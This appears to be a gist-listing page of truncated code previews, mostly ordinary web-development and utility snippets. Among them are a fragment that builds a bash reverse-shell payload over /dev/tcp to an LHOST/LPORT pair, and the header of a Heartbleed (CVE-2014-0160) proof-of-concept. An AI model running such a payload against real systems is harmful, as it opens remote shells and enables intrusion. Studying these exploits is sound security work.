Attention: the list was moved to
https://github.com/dypsilon/frontend-dev-bookmarks
This page is not maintained anymore, please update your bookmarks.
import base64 | |
import os | |
from tastypie.fields import FileField | |
from django.core.files.uploadedfile import SimpleUploadedFile | |
class Base64FileField(FileField): | |
""" | |
A django-tastypie field for handling file-uploads through raw post data. | |
It uses base64 for en-/decoding the contents of the file. | |
Usage: |
var oldSync = Backbone.sync; | |
Backbone.sync = function(method, model, options){ | |
options.beforeSend = function(xhr){ | |
xhr.setRequestHeader('X-CSRFToken', CSRF_TOKEN); | |
}; | |
return oldSync(method, model, options); | |
}; |
#!/usr/bin/env python | |
# parse_toc.py | |
from pdfminer.pdfparser import PDFParser, PDFDocument | |
def parse(filename, maxlevel): | |
fp = open(filename, 'rb') | |
parser = PDFParser(fp) | |
doc = PDFDocument() | |
parser.set_document(doc) |
#!/usr/bin/python | |
#based on the ideas from http://synack.me/blog/implementing-http-live-streaming | |
# Updates: | |
# - 2024-04-24: Apply suggestions from @Pin80 | |
# Run this script and then launch the following pipeline: | |
# gst-launch videotestsrc pattern=ball ! video/x-raw-rgb, framerate=15/1, width=640, height=480 ! jpegenc ! multipartmux boundary=spionisto ! tcpclientsink port=9999 | |
#updated command line | |
#gst-launch-1.0 videotestsrc pattern=ball ! videoconvert ! video/x-raw, framerate=15/1, width=640, height=480 ! jpegenc ! multipartmux boundary=spionisto ! #tcpclientsink port=9999 | |
from multiprocessing import Queue |
<!DOCTYPE html> | |
<html> | |
<head> | |
<title>Simple Tree Demo</title> | |
<script src="http://d3js.org/d3.v2.js"></script> | |
<style> | |
.link { | |
fill: none; | |
stroke: #ccc; | |
stroke-width: 1.5px; |
# -*- coding: utf-8 -*- | |
# | |
import tempfile | |
import sys, os | |
import re | |
LHOST, LPORT = ('127.0.0.1', '4444') | |
PAYLOAD = (r'''os.system('echo "bash -c \'0<&76-;exec 76<>/dev/tcp/%s/%s; |
Attention: the list was moved to
https://github.com/dypsilon/frontend-dev-bookmarks
This page is not maintained anymore, please update your bookmarks.
Thanks to [Serafeim Papastefanos] for authoring this tutorial. Please note that the installation process is in flux; most of the steps here should soon be unnecessary.
[Wagtail] is a new Open Source [Django]-based CMS. In this 20 minute tutorial we will see how you can create a blog from scratch using Wagtail. If you want to see some more examples of usage please take a look at the [wagtaildemo] GitHub project.
To follow this tutorial you will need to have [Python] 2.7 installed with a working version of [pip] and [virtualenv].
Installing the wagtail dependencies
#!/usr/bin/env python2 | |
""" | |
Author: takeshix <takeshix@adversec.com> | |
PoC code for CVE-2014-0160. Original PoC by Jared Stafford (jspenguin@jspenguin.org). | |
Supportes all versions of TLS and has STARTTLS support for SMTP,POP3,IMAP,FTP and XMPP. | |
""" | |
import sys,struct,socket | |
from argparse import ArgumentParser |
docker rmi $(docker images -q -f dangling=true) |